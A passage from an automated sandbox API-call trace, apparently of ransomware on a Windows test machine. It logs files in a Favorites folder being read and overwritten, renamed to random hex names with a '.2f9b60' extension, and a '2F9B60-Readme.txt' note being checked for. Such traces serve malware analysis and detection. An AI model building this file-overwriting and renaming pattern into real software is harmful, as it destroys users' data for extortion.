Size=0x20) returned 0x42c18a20 [0192.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d20 [0192.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d20) returned 1 [0192.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd86250 [0192.694] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="29") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="ad") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="61") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="45") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="18") returned 2 [0192.694] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="a6") returned 2 [0192.694] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="e1") returned 2 [0192.694] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="2c") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="32") returned 2 [0192.694] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="1d") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="e7") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="d5") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="94") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="0f") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="c4") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="e8") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="9e") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="e3") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="7d") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="e7") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="9a") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="d7") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="8e") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="f1") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="52") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="54") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="a9") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="6e") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="74") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="89") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="54") returned 2 [0192.695] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="5d") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="33") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="6a") returned 2 [0192.695] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="a0") returned 2 [0192.696] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="18") returned 2 [0192.696] RtlInitAnsiString (in: DestinationString=0x3d0cfc88, SourceString="29ad614518a6e12c321de7d5940fc4e89ee37de79ad78ef15254a96e7489545d336aa018" | out: DestinationString="29ad614518a6e12c321de7d5940fc4e89ee37de79ad78ef15254a96e7489545d336aa018") [0192.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d0cfc58, SourceString="29ad614518a6e12c321de7d5940fc4e89ee37de79ad78ef15254a96e7489545d336aa018", AllocateDestinationString=1 | out: DestinationString="29ad614518a6e12c321de7d5940fc4e89ee37de79ad78ef15254a96e7489545d336aa018") returned 0x0 [0192.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431e2b80 [0192.696] RtlFreeAnsiString (AnsiString="2") [0192.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0192.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0192.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a20) returned 1 [0192.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa890) returned 1 [0192.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c9f0) returned 1 [0192.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9050) returned 1 [0192.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c9b0) returned 1 [0192.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9020) returned 1 [0192.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501340) returned 1 [0192.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205012e0) returned 1 [0192.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501280) returned 1 [0192.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce22b60 [0192.701] wcscat (in: _Dest=0x1ce22b60, _Source="29ad614518a6e12c32" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32" [0192.701] wcscat (in: _Dest=0x1ce22b60, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32.2f9b60" [0192.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32.2f9b60", NtPathName=0x3d0cfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\29ad614518a6e12c32.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205f360 [0223.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f360) returned 1 [0223.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c10690) returned 1 [0223.970] NtQueryInformationFile (in: FileHandle=0xd5c, IoStatusBlock=0x3d0cfc98, FileInformation=0x3d0cfca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d0cfc98, FileInformation=0x3d0cfca8) returned 0x0 [0223.970] NtSetInformationFile (FileHandle=0xd5c, IoStatusBlock=0x3d0cfc98, FileInformation=0x3d0cfca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22b60) returned 1 [0225.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e2b80) returned 1 [0225.303] FlushFileBuffers (hFile=0xd5c) returned 1 [0225.557] CloseHandle (hObject=0xd5c) returned 1 [0226.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad290 [0226.034] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0226.035] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0226.035] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0226.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0226.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b7f0) returned 1 Thread: id = 2719 os_tid = 0x22e8 [0157.820] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0157.820] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", dwFileAttributes=0x20) returned 1 [0157.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4ac [0157.821] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3dc1fde0 | out: lpFileSize=0x3dc1fde0*=133) returned 1 [0157.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501370 [0157.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501190 [0157.822] NtQuerySystemTime (in: CurrentTime=0x3dc1fca0 | out: CurrentTime=0x3dc1fca0*=132462177629494000) returned 0x0 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x344fb1c1 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x3c254703 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x51a97d37 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x374ecac2 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x7489c367 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x3ce4984 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x509cc538 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x51150f15 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x25ad203b [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x4e504275 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x36578eb4 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x41a878f8 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x122e23d0 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x645e4255 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x24ff0b1b [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x379296f2 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x561ca8a [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x1d404d41 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x63fa89d0 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x52ca1285 [0157.822] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x125ae0b3 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x1f93143c [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x10d8743 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x33a0e8aa [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x19224737 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x2c54ebac [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x6ad02748 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x15cba6f1 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x3aa1eacb [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x6245b3a3 [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x41bae89a [0157.823] RtlRandomEx (in: Seed=0x3dc1fc90 | out: Seed=0x3dc1fc90) returned 0x358afc10 [0157.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0157.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1580 [0157.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0157.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501190) returned 1 [0157.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0157.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0157.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b4fe10 [0157.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b53a20 [0157.832] ReadFile (in: hFile=0x4ac, lpBuffer=0x42b4fe10, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3dc1fc90, lpOverlapped=0x0 | out: lpBuffer=0x42b4fe10*, lpNumberOfBytesRead=0x3dc1fc90*=0x85, lpOverlapped=0x0) returned 1 [0157.833] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.833] WriteFile (hFile=0x4ac, lpBuffer=0x42b53a20, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3dc1fc94, lpOverlapped=0x0) [0192.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b10 [0192.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0192.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ae0) returned 1 [0192.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b53a20) returned 1 [0192.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b4fe10) returned 1 [0192.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0192.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0192.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce5bc00 [0192.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0192.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0192.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0192.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ae0) returned 1 [0192.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce5c6f0 [0192.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0192.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18240 [0192.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18240) returned 1 [0192.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0192.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0192.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188850 [0192.903] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.903] WriteFile (in: hFile=0x4ac, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3dc1fdb0, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x3dc1fdb0*=0x12a, lpOverlapped=0x0) returned 1 [0207.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0207.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0207.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ec0) returned 1 [0207.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x431ac720 [0207.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0207.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0207.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0207.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0207.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x1cebac60 [0207.578] sprintf (in: _Dest=0x1cebac60, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac62, _Format="%c%c" | out: _Dest="09") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac64, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac66, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac68, _Format="%c%c" | out: _Dest="3c") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac6a, _Format="%c%c" | out: _Dest="a8") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac6c, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac6e, _Format="%c%c" | out: _Dest="65") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac70, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac72, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac74, _Format="%c%c" | out: _Dest="96") returned 2 [0207.578] sprintf (in: _Dest=0x1cebac76, _Format="%c%c" | out: _Dest="27") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac78, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac7a, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac7c, _Format="%c%c" | out: _Dest="59") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac7e, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac80, _Format="%c%c" | out: _Dest="31") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac82, _Format="%c%c" | out: _Dest="13") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac84, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac86, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac88, _Format="%c%c" | out: _Dest="69") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac8a, _Format="%c%c" | out: _Dest="95") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac8c, _Format="%c%c" | out: _Dest="41") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac8e, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac90, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac92, _Format="%c%c" | out: _Dest="05") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac94, _Format="%c%c" | out: _Dest="62") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac96, _Format="%c%c" | out: _Dest="48") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac98, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac9a, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac9c, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.579] sprintf (in: _Dest=0x1cebac9e, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.579] sprintf (in: _Dest=0x1cebaca0, _Format="%c%c" | out: _Dest="78") returned 2 [0207.579] sprintf (in: _Dest=0x1cebaca2, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.579] sprintf (in: _Dest=0x1cebaca4, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.579] sprintf (in: _Dest=0x1cebaca6, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.579] sprintf (in: _Dest=0x1cebaca8, _Format="%c%c" | out: _Dest="18") returned 2 [0207.579] sprintf (in: _Dest=0x1cebacaa, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.579] sprintf (in: _Dest=0x1cebacac, _Format="%c%c" | out: _Dest="d8") returned 2 [0207.579] sprintf (in: _Dest=0x1cebacae, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.579] sprintf (in: _Dest=0x1cebacb0, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.579] sprintf (in: _Dest=0x1cebacb2, _Format="%c%c" | out: _Dest="43") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacb4, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacb6, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacb8, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacba, _Format="%c%c" | out: _Dest="13") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacbc, _Format="%c%c" | out: _Dest="92") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacbe, _Format="%c%c" | out: _Dest="37") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacc0, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacc2, _Format="%c%c" | out: _Dest="69") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacc4, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacc6, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacc8, _Format="%c%c" | out: _Dest="71") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacca, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.580] sprintf (in: _Dest=0x1cebaccc, _Format="%c%c" | out: _Dest="ce") returned 2 [0207.580] sprintf (in: _Dest=0x1cebacce, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.580] RtlInitAnsiString (in: DestinationString=0x3dc1fe28, SourceString="ab09c8cd3ca86e65bcba9627d5e359b93113e4cf699541d4b10562486bc4ccf2788e9fee186ed8bccf43c06b7b1392377f69f1a571a2ce5b" | out: DestinationString="ab09c8cd3ca86e65bcba9627d5e359b93113e4cf699541d4b10562486bc4ccf2788e9fee186ed8bccf43c06b7b1392377f69f1a571a2ce5b") [0207.580] RtlAnsiStringToUnicodeString (in: DestinationString=0x3dc1fdf8, SourceString="ab09c8cd3ca86e65bcba9627d5e359b93113e4cf699541d4b10562486bc4ccf2788e9fee186ed8bccf43c06b7b1392377f69f1a571a2ce5b", AllocateDestinationString=1 | out: DestinationString="ab09c8cd3ca86e65bcba9627d5e359b93113e4cf699541d4b10562486bc4ccf2788e9fee186ed8bccf43c06b7b1392377f69f1a571a2ce5b") returned 0x0 [0207.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb5210 [0207.581] wcscat (in: _Dest=0x430fce70, _Source="ab09c8cd3ca86e65bcba9627d5e3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3" [0207.581] wcscat (in: _Dest=0x430fce70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3.2f9b60" [0207.581] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3.2f9b60", NtPathName=0x3dc1fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\ab09c8cd3ca86e65bcba9627d5e3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb5300 [0222.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5300) returned 1 [0222.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2fe0) returned 1 [0222.751] NtQueryInformationFile (in: FileHandle=0x4ac, IoStatusBlock=0x3dc1fe38, FileInformation=0x3dc1fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3dc1fe38, FileInformation=0x3dc1fe48) returned 0x0 [0222.751] NtSetInformationFile 